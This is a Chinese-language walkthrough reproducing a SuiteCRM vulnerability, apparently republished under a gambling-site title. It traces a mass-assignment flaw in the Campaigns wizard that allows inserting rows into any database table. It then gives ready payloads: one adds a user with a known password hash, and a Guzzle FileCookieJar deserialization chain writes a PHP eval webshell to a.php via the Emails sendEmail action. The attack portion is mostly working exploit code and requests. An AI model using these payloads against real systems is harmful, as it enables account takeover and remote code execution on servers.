易盛娱乐SuiteCRM CMS 漏洞复现_HUC惠仲娱乐

易盛娱乐

前言

最近 rips 发布了 SuiteCRM 的漏洞,但是细节不太清晰,于是上手分析了一下,漏洞还是很有意思的,记录一下。

文章:https://blog.ripstech.com/2019/breaking-into-your-internal-network/

这个漏洞还是比较有趣的,可以想想这个漏洞形成的原因,这个漏洞主要是因为没有过滤一些敏感的值,table_name 也应该设置成 private 属性。形成这个漏洞的函数也是在文件内的,因为代码量比较多,审计的时候其实可以结合扫描器直接找到可能存在变量覆盖的点。

漏洞分析

任意数据表插入数据

先看看给出的 payload :

index.php? module=Campaigns& action=WizardNewsletterSave& currentstep=1& wiz_step1_field_defs[SOMEFIELD][default]=SOMEVALUE& wiz_step1_table_name=SOMETABLENAME& wiz_step1_id=1337& wiz_step1_new_with_id=1

这是一个 MVC 框架的 CMS。读了一下入口文件,然后根据 moduleaction,找到这个文件: /modules/Campaigns/WizardNewsletterSave.php

打开文件,截取出关键的代码:

$campaign_focus = new Campaign(); $camp_steps[] = 'wiz_step1_'; $camp_steps[] = 'wiz_step2_';  ...  foreach ($camp_steps as $step) {     $campaign_focus =  populate_wizard_bean_from_request($campaign_focus, $step); }  switch ($_REQUEST['currentstep']) {     case 1:         //save here so we can link relationships         $campaign_focus->save();         $GLOBALS['log']->debug("Saved record with id of ".$campaign_focus->id);         echo json_encode(array('record'=>$campaign_focus->id));         break;

看到他下面 save 方法大概也能猜到这里的 Campaign 是一个数据库对象

中间他经过了 populate_wizard_bean_from_request 这个函数,第一个参数是 数据库对象,第二个一个字符串: wiz_step1_,返回值也 赋值回给这个 数据库对象,说明其中处理了这个对象,我们跟进去看看:

// $bean 是一个 数据库对象 // $prefix 为 wiz_step1_ function populate_wizard_bean_from_request($bean, $prefix) {      foreach ($_REQUEST as $key=> $val) {         $key = trim($key);          // if 判断 key 值的开头是否是 wiz_step1_         if ((strstr($key, $prefix)) && (strpos($key, $prefix)== 0)) {              //将 $prefix 截取掉,比如 wiz_step1_abc 就变成 abc             $field = substr($key, strlen($prefix)) ;             if (isset($_REQUEST[$key]) && !empty($_REQUEST[$key])) {                 $value = $_REQUEST[$key];                 // 将对象中的字段赋值                 // 比如传入 wiz_step1_abc=123 ,那么 $bean->abc=123;                 $bean->$field = $value;             }          }     }      return $bean; }

总结一下这个函数做的事情,就是如果当我传入 wiz_step1_abc=123 时,对象里的 abc 就会赋值成 123

再看看 payload 有一句: wiz_step1_table_name=SOMETABLENAME,看起来像表名,再看看对象内部:

class Campaign extends SugarBean{     public $table_name = "campaigns"; }

这里是 public,也是可以直接赋值的。我们再跟进 save 方法:

public function save($check_notify = false) {     ...     if ($isUpdate) {         $this->db->update($this);     } else {         $this->db->insert($this);     }     ... }

因为这里只有这个重要,就只截取除了这个,再进入 insert 函数:

public function insert(SugarBean $bean) {     // 生成 sql 语句     $sql = $this->insertSQL($bean);     $tablename = $bean->getTableName();     $msg = "Error inserting into table: $tablename:";      return $this->query($sql, true, $msg); }

进入 insertSQL 函数:

public function insertSQL(SugarBean $bean) {     // insertParams 函数返回完整的 sql 语句。     $sql = $this->insertParams(          $bean->getTableName(), // 获取表名         $bean->getFieldDefinitions(), // 获取列名         get_object_vars($bean), // 获取对象里的所有属性         isset($bean->field_name_map) ? $bean->field_name_map : null,         false     );     return $sql; } //获取列名 public function getFieldDefinitions() {     return $this->field_defs; } //获取表名 public function getTableName() {     if (isset($this->table_name)) {         return $this->table_name;     }     ... }

这里的 table_namefield_defs 都是我们可以设置的,然后但是这里并不是直接拼接 field_defs ,他还做了一层处理,需要进入到 insertParams 看看:

public function insertParams($table, $field_defs, $data, $field_map = null, $execute = true) {     $values = array();     //判断 field 是否为数组 或者对象,不是就报错     if (!is_array($field_defs) && !is_object($field_defs)) {         // 报错     } else {          // 循环 field_defs 数组         foreach ((array)$field_defs as $field => $fieldDef) {             ...              if (isset($data[$field])) {                 $val = from_html($data[$field]);             } else {                 ...             }               if (!empty($fieldDef['auto_increment'])) {                 ..             }              elseif (...) {                 ...             } else {                 if (!is_null($val) || !empty($fieldDef['required'])) {                     $values[$field] = $this->massageValue($val, $fieldDef);                 }             }         }     }     ...     $query = "INSERT INTO $table (" . implode(",", array_keys($values)) . ")                 VALUES (" . implode(",", $values) . ")";      return $execute ? $this->query($query) : $query; }

减去了很多不必要的代码,看看最后的 $query 语句,keysvalues 都是从 $values 数组获取的。

往上一点,25 行的位置可以看到 $values 是经过了 massageValue 函数的 $val,这个函数我们可以无视掉,我们再看看 $val 从哪里来的。

在 14 行处,$val 是从 $data 处获取的,$data 是对象里的属性,对象里的属性都是我们可以控制的。我们可以不管 from_html 这个函数。

漏洞测试

上面可能理解起来比较难,我举个例子,现在我们有个数据库对象 $campaign_focus

然后我们设置
$campaign_focus-> table_name=users
$campaign_focus-> field_defs[user_name]=1
$campaign_focus-> user_name=test1

这样我们 sql 语句就有 users(user_name) values('test1') 了。

构造我们的 payload 插入 users

首先三个必要的参数才能进入到正确的逻辑:

module=Campaigns& action=WizardNewsletterSave& currentstep=1&

然后插入 user_nameuser_hash

wiz_step1_table_name=users& wiz_step1_field_defs[id]=1& wiz_step1_field_defs[user_name]=1& wiz_step1_user_name=ruozhi& wiz_step1_field_defs[user_hash]=1& wiz_step1_user_hash=e10adc3949ba59abbe56e057f20f883e

这里 id 有点特殊,因为对象内已经有了,虽然可以改,但是没什么必要(如果想 id 可控,加个参数即可 wiz_step1_id=2333

这里的 user_hash 就是 123456 这个密码。

这个漏洞要先登录任意一个用户,然后访问 /index.php 加上上面的参数就可以了:

提升危害-反序列化RCE

我们既然都能控制数据表的内容了,能不能进一步提升危害呢?

当然可以,文中提到一处:module=Emails& action=EmailUIAjax& emailUIAction=sendEmail

Emails 目录下 EmailUIAjax.php casesendEmail 处调用了 email2Send,这个函数内又调用了 setMailer,最后是 getInboundMailerSettings

看看这个函数:

public function getInboundMailerSettings($user, $mailer_id = '', $ieId = '') {     $mailer = '';      if (...) {         ...     } elseif (!empty($ieId)) {         // 默认进入 elseif         // 此处的 ieId 为可控的值         $q = "SELECT stored_options FROM inbound_email WHERE id = '{$ieId}'";         $r = $this->db->query($q);         $a = $this->db->fetchByAssoc($r);         if (!empty($a)) {             $opts = unserialize(base64_decode($a['stored_options']));         if (isset($opts['outbound_email'])) {             ...         }

这里查询了 inbound_email 表然后反序列化了,这里的 ieId 为可控的值,是 request 中的 fromAccount。也就是说这里进行 反序列化 的是我们可控的值,

这又是个基于 MVCCMS,于是乎找到一处特别万用的类:GuzzleHttp\Cookie\FileCookieJar,这个类在 laravel 框架也有。这里不分析具体的反序列化细节。

首先执行 payload

<?php namespace GuzzleHttp\Cookie{     class FileCookieJar extends CookieJar     {         private $filename = "a.php";         function __construct(){             $this->a();         }     }     class CookieJar{         private $cookies;         function a(){             $this->cookies[]=  new SetCookie();         }     }     class SetCookie{         private $data = [             'Name'     => 'a',             'Value'    => '<?php eval($_GET[1]); ?>',             'Expires'=>true,             'Discard'=>false,         ];     }   } namespace{     $s =array(new \GuzzleHttp\Cookie\FileCookieJar());     echo base64_encode( serialize($s)); }

值得注意的是这里要把这个对象放在一个数组里,因为反序列化后还把他当成数组取了一次值,如果这里是对象会报错就不能触发 __destruct 了。

获取到了 base64 后,我们传入值:

module=Campaigns action=WizardNewsletterSave currentstep=1 wiz_step1_table_name=inbound_email //表名 wiz_step1_field_defs[stored_options]=1 wiz_step1_stored_options=`base64_payload` //上面 payload 获取到的 base64 wiz_step1_new_with_id=1 // 加上这个 id 就能自由控制了 wiz_step1_field_defs[id]=1 wiz_step1_id=2333 // id值

此时再访问:

?module=Emails& action=EmailUIAjax& emailUIAction=sendEmail& fromAccount=2333

这时候就会触发反序列化了,根目录此时会产生一个 a.php: